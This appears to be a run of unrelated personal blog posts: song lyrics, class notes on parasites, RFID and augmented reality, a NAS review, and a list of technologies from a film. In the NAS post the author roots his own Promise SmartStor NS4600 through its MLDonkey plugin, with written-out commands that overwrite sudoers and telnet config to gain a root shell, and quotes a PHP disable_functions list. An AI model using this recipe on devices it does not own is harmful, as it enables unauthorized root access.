CHORUS
I don’t know anything about this.
I swear I’m not like my mom;
I’m optimistic.
With every swallow, every heartbeat,
You sense the water in your body.
it’s hard to miss it.
Ahh—

Thinking, the memories that fire,
The history you compile.
You say and say and say—
The system, the zeros, and the ones
Is where it all comes from.
(Is where. It all. Comes from—)

CHORUS

The blood that runs in my veins,
it gets around.
The water that makes up the rain
It only knows down
The trouble with communications
when language gets in
the way…

Ooh—

(Not entirely sure of the italicized lines.)

Image via Wikipedia

1. Recall the relevant class. Comment on Toxoplasma Gondii. What do you think??
   1. 1. 1. 1. • In an abstract sense, things affecting our psychology are nothing new. All of the effects of toxoplasma gondii can supposedly have on us can also be the result of psychological stimulation, like being on a sports team, or having an overbearing mother.
               • So, I’m not too shook up about it. Then again, I live with two cats (and have all my life). Who’s to say I’m not infected, and just being a mouth for the protozoa? If it were really as sinister and slippery as characterized, it would’ve long ago made me love my cats so much that I would defend our relationship no matter what.
               • Therefore, as a possible gondii-controlled human by cat proxy, I must recuse myself from the question!
2. Add more to your project. Put the new stuff in a new blog posting. Consider new material that has some connection to Toxoplasma Gondii. Alternatively, it could have a connection to some other parasite or disease, or parasites or diseases more generally. Or it might be about something completely different…your choice!
   • For my project, there’s not much that organisms (other than humans) factor in. So, I decided to read and take notes on the “Internet of Things,” also known as “object hyperlinking.”
   • There are a few ways to get this done. Either every device can be “smart” and carry its own addressability (identification), or one can overlay identification onto “dumb” objects, similar to asset tagging.
   • There have been recent rumors that Apple will put an RFID scanner into its 4th generation iPhone. This would truly bring this concept to the forefront in the US.
   • However, the Japanese market is already used to such convenience, using their RFID-enabled phones to interface with the ATM network, get on public transit, pay for parking, and hyper-local information retrieval.
   • Some other uses of RFID include:
     • Tracking of endangered species. Arizona’s Saguaro National Park is implanting RFID tags into cactii to be able to track when they’re stolen. Likewise, the New Delhi forest department requires that elephants get implants to prevent illegal trade.
     • For that matter, tracking non-endangered species like cattle can provide a chain of accountability for meat products.
     • Tracking things you don’t want to lose, like surgical sponges, car keys, pets, etc.
     • Authentication. The article mentions police badges, but I’ve also read that high-price, commonly-knocked-off luxury handbags will also be getting RFID chips, to prove authenticity. (For example, an RFID signed with Gucci’s public key inside a purse).
     • Tracking prisoners. This is kind of scary, but: “Forced to release prisoners due to overcrowding, Britain wants to chip them. Cops would know if, say, a felon enters a school.”
   • Hong Kong has had RFID-enabled payment cards since 1997 (Octopus Card). These cards were originally used for public transit, but now can be used at stores, vending machines, parking meters, and many other places, including in other parts of mainland China.
   • Another way, besides RFID, is the use of QR Codes to “tag” an object. These codes (2D bit matrices) can be generated and decoded easily in software, printed on a sticker, and stuck to an object. QR Code readers were some of the first applications to enter the App Store for iPhone. Now there are many 2D barcode readers available for iPhonee which use the built-in camera.

• • Up until recently, the view of most people was that interacting with the digital world would mean “jacking in” to some sort of fully-simulated virtual reality environment. However, a recent confluence of technologies is beginning to birth a new outlook on digital interaction: Augmented Reality.
  • Current iterations of AR technology are exemplified by the iPhone 3GS. This state-of-the-art phone combines ample storage space (up to 32 Gb), GPS location, compass, video camera, impressive processing and RAM capacity (for doing complex visual recognition), and touch-screen interaction. These integrated, high-quality elements make the iPhone a good platform for writing AR applications.
  • AR interfaces overlay digital information over our analog sight system (eyes) through technological mediation of some sort. This mediation can be in the form of images projected directly on the retina, through a loupe or other viewing device (such as a phone), and maybe one day through direct ocular prostheses.
  • Augmented Reality applications include a wide range of industries, including manufacturing, military and emergency-response, prospecting, architecture and other real-world design fields, sight-seeing, collaboration (usually with the name “mixed reality”), and entertainment.
  • Some existing examples of augmented reality for iPhone include:
    • Le Bar Guide, sponsored by Stella Artois, transforms the iPhone into a loupe: hold it up and turn, and it will tell you where the nearest Stella-serving bar is located, as well as give you reviews and indications of amenities.
    • Car Finder solves a minor annoyance that many people face; namely, the “where did I park” moment that people experience upon leaving a shopping center or other location with a large parking lot. Simply ping your location upon leaving your car, and when you’re ready to return, the application will guide you on the quickest path back to where you’ve parked.

Twitter is testing Lists. See screenshot.

When CompUSA was slowly dying, my friend Chris Heien and I kept waiting for the right moment to swoop in at the sweet spot between value and desperation to acquire the HP MediaVault m2040: a 2-bay Network Attached Storage (NAS) device. NAS devices sit on your network and act as a file server. Since our house network runs to every room (via LinkSys Ethernet-over-Power adaptors and 802.11n/g clouds), a home server was essential for sharing large files between roommates and devices.

The HP MediaVault m2040 came with a 500 GB drive, to which I added another 500 GB. With some partitions in RAID, the usable space was about 0.8 TB. This was a very decent NAS (especially for the price) when I purchased it. It was “hackable” with a good-sized developer community (led by one of the original MediaVault engineers), and most importantly, it included a Digital Living Network Alliance certification; meaning it could stream music and video to media players on the network (like the PS3 or even Windows Media Player on Vista).

When I made the purchase, I knew eventually that the day would come when it would not be enough. Unfortunately, the honeymood was over quicker than anticipated. The design flaws of the first-generation MediaVault are sizable:

• Due to un-expandable RAM configuration, and the fact that the native partitioning scheme was ReiserFS, the MediaVault can only hold a file allocation table map for about 1.25 TB. Meaning, even if I put two 2TB drives in, it would still only recognize 1.25TB instead of 4TB.
• Due to an underwhelming (300 MHz MIPS) processor, the Gigabit ethernet connection performed very poorly; actually a little worse than Fast Ethernet (100 MB/sec).
• Also due to the processor type (MIPS), the number of ipkg packages (basically server plugins) was low, and it was hard to make new ones.
• Although expandable by using USB hard drives as additional storage, it would never power-down these drives, burning them out much quicker (and being very loud, constantly, when connected).
• Because of the slow networking, the PS3 would randomly display a network error while streaming video. Of my complaints, this is the one I hate most because this is the one I had to see every time I tried to enjoy some video!

I recently was able to save up some money with the intent of purchasing a new NAS. About three weeks ago, I took the plunge and ordered from NewEgg:

• Promise SmartStor NS4600 NAS
• HITACHI Deskstar HD32000 IDK/7K 2TB 7200 RPM SATA 3.0Gb/s 3.5″ Internal Hard Drive (Retail Edition)

This, in short, is a great system. The SmartStor4600 uses less power and has more available drive bays (four) than the MediaVault. It runs quieter, with a variable-speed fan, and it addresses all of my concerns with the MediaVault:

• No hard limit on capacity. I’m using a fast (but not super-fast) 2TB drive in one slot, which is more than twice the capacity of the MediaVault.
• “The snozberries taste like snozberries,” and the Gigabit performs like Gigabit!
• It’s expandable via an official plugin system (currently running a “Downloader” engine (explained later), iTunes streaming server, and the—most essential—DLNA server). I’ve actually written the SmartStor project manager in regards to maybe getting a software development kit. I would like to write a plugin for downloading files from Usenet using NZB files. We’ll see where that goes.
• Spin-down of USB drives is (supposedly) supported (haven’t had a chance to check this one out).
• No errors while streaming HD video to the PS3!

I am in home-entertainment Nirvana.

But I like to fully explore my devices; so recently I’ve been looking for a way to get into the device from a lower level. A port scan revealed telnet running on port 2380, prompting for a password. My experience with NAS devices is that they are usually running an embedded-level Linux called BusyBox, with as few user accounts as possible. This means that most processes are probably running as root.

I started with the built-in web server, which is advertised for being suitable for running your small office intranet. They seem to have thought of this, because even though the lighttpd web service provides a php installation, it has been hardened with the following in the PHP configuration file (php.ini):

disable_functions = phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

This prevents writing a simple php one-liner to reset the root password.

Luckily, there is an easily-exploitable security hole in the NS4600. It is the same hole that was in the predecessor product, the NS4300. Namely, the built-in “Downloader” plugin (a customized version of MLDonkey) can be cajoled to run shell commands on behalf of the root user. It’s actually pretty easy, thanks to work done on the previous model by Ilya Obshadko.

1. Update to the latest firmware.
2. In the Promise Advanced Storage Manager (http://smartstor/admin/), navigate to “File & Print” then “Application Plugins.”
3. Click the “Enable” button on the line for “BT Server.”
4. Navigate to http://smartstor:4080/ to access the MLDonkey web interface. It should say “Welcome to MLDonkey 2.9.1″ in the bottom pane, and have a toolbar pane at the top of the screen.
5. In the top toolbar pane, enter the following commands and press Enter, one at a time:
   1. set allow_any_command true
   2. ! /bin/cp /etc/crontab /VOLUME1/PUBLIC/crontab
   3. ! /bin/cp /etc/sudoers /VOLUME1/PUBLIC/sudoers
   4. ! /bin/cp /etc/telnet.user /VOLUME1/PUBLIC/telnet.user
   5. ! /bin/chmod 777 /VOLUME1/PUBLIC/crontab
   6. ! /bin/chmod 777 /VOLUME1/PUBLIC/sudoers
   7. ! /bin/chmod 777 /VOLUME1/PUBLIC/telnet.user
   8. ! /bin/echo ‘admin ALL=(ALL) NOPASSWD: ALL’ >> /VOLUME1/PUBLIC/sudoers
   9. ! /bin/echo ‘admin’ >> /VOLUME1/PUBLIC/telnet.user
6. Then connect to your SmartStor’s PUBLIC share, and edit the crontab file, removing the line that contains “chkhttpd” in it. (This could probably be made into a awk/sed one-liner, but my regex-fu is not that strong).
7. Returning to the MLDonkey interface, input the following commands to copy the newly-edited config files back to the system locations, overwriting the originals:
   1. ! /bin/cp /VOLUME1/PUBLIC/crontab /etc/
   2. ! /bin/cp /VOLUME1/PUBLIC/sudoers /etc/
   3. ! /bin/cp /VOLUME1/PUBLIC/telnet.user /etc/
8. Fire up trusty old telnet with “telnet smartstor 2380″ at a terminal, wait a few moments, press enter (it’s asking for the root password, which we don’t know—it’s set at the factory, in the firmware), then type in “admin” for the username, and whatever password you use for your admin account (“admin” by default).
9. You should now have a nice shell prompt. Issue “sudo passwd root”, then type a new root password a couple of times—and ta-da!—you’re in like Flynn! Just exit your shell and reconnect as root.

The only bad part about this is that step 7 must be done each time the device reboots, because the crontab is regenerated from firmware on boot. Ilya has written an application plugin for auto-enabling telnet access. Unfortunately, the plugin format is different between the NS4300 and NS4600, so it doesn’t work for me.

By having superuser access to the device secured, I can now work on extending it to do more.

1. Telepresence of witnesses to grant the order for intervening.
2. Quick laser cutting of a ball of wood.
3. Wood-grain hashing.
4. The tube that the wooden red ball comes down is quite anachronistic.
5. Human-Computer Interaction, including the stretching for three screens, time scrubbing, wipe-to-select, and lasso-and-grab.
6. Hyper-Cross-Referencing of different databases to find out the scene of the crime.
7. Precognition, including the dichotomy between “pre-meditated” and “passion” crimes, the erasing of memory, and the displaying of thoughts on the screen.
8. Flying police car and personal jetpacks.
9. The “Halo” restraint device.
10. Omni-surface screens, used for advertising a precrime PSA.
11. Drugs, including “Clarity” and “Neuroin.”
12. Voice Activated Mood for home (“I’m Home,” “Overhead”)
13. Transparent screen technology, with auxillary screens such as “Wall screen” and 3D projection.
14. Cars with no drivers and federated decision-making and traffic flow.
15. “Absolute Metaphysics.”
16. A paper warrant. (anachronistic)
17. “Optical Tomography”
18. Rapid Eye scanning.
19. Cryostorage for Jail.
20. Personalized advertisements while walking (futuristic Spam).
21. Live-Updating digital newspaper (USA Today)

Each of these poses interesting questions for “could it happen” and “what are the consequences,” which I hope to explore in my paper/presentation.